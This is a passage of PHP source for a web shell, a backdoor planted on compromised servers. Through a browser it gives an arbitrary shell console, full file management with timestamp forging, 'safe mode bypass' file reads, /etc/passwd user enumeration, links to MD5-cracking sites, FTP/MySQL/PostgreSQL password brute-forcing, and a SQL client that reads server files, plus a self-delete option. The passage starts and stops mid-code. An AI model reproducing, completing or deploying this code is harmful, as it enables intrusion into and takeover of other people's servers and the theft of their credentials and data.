				} elseif($_SESSION['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_SESSION['f'] as $f)
						@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_SESSION['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_SESSION['c']);
                            foreach($_SESSION['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_SESSION['c'].$f))
                                    $zip->addFile($_SESSION['c'].$f, $f);
                                elseif(@is_dir($_SESSION['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_SESSION['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_SESSION['f'] as $f) {
                            if($zip->open($_SESSION['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_SESSION['act'] == 'tar') {
                    chdir($_SESSION['c']);
                    $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
                    bOtEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_SESSION['f']);
				break;
			default:
                if(!empty($_POST['p1'])) {
					$_SESSION['act'] = @$_POST['p1'];
					$_SESSION['f'] = @$_POST['f'];
					foreach($_SESSION['f'] as $k => $f)
						$_SESSION['f'][$k] = urldecode($f);
					$_SESSION['c'] = @$_POST['c'];
				}
				break;
		}
	}
	$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';bOtFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"r0b0t1c\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => bOtPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function bOtCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "bOtCmp");
	usort($dirs, "bOtCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'r0b0t1c\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?bOtViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='r0b0t1c'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_SESSION['act']) && @count($_SESSION['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='bOt_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='Hajar!'></td></tr></form></table></div>";
	bOtFooter();
}

function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
		echo strlen($temp), "\n", $temp;
		exit;
	}
	bOtHeader();
	echo '<h1>String conversions</h1><div class=content>';
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='Hajar!'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='Hajar!'></td></tr>
			</table></form>";

	function bOtRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						bOtRecursiveGlob($item);
				} else {
					if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		bOtRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Mencari hash MD5:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
			<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
			<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
			<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
			<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
		</form></div>";
	bOtFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	bOtHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		bOtFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?bOtViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.bOtPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="Hajar!"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value="Hajar!"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "\n";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="Hajar!"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="Hajar!"></form>';
			break;
	}
	echo '</div>';
	bOtFooter();
}

function actionSafeMode() {
	$temp='';
	ob_start();
	switch($_POST['p1']) {
		case 1:
			$temp=@tempnam($test, 'cx');
			if(@copy("compress.zlib://".$_POST['p2'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo 'Sorry... Can\'t open file';
			break;
		case 2:
			$files = glob($_POST['p2'].'*');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."\n";
			break;
		case 3:
			$ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST['p2']);
			break;
		case 5:
			for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."\n";
			}
			break;
	}
	$temp = ob_get_clean();
	bOtHeader();
	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value="Hajar!"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value="Hajar!"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value="Hajar!"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value="Hajar!"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="Hajar!"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
	echo '</div>';
	bOtFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;

	if(isset($_POST['ajax'])) {
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		echo "d.cf.cmd.value='';\n";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".bOtEx($_POST['p1']),"\n\r\t\\'\0"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "\n", $temp;
		exit;
	}
	bOtHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="Hajar!"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."\n".bOtEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #800000;background-color:#800000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	bOtFooter();
}

function actionLogout() {
    session_destroy();
	die('^_______^ nice to meet U!Keep sapirit,Saparatos bLank!!!');
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        bOtHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	bOtFooter();
}

function actionBruteforce() {
	bOtHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value="Hajar!"></td></tr></form></table>';
	echo '</div><br>';
	bOtFooter();
}

function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE bOt2(file text);COPY bOt2 FROM '".addslashes($str)."';select file from bOt2;");
					$r=array();
					while($i=$this->fetch())
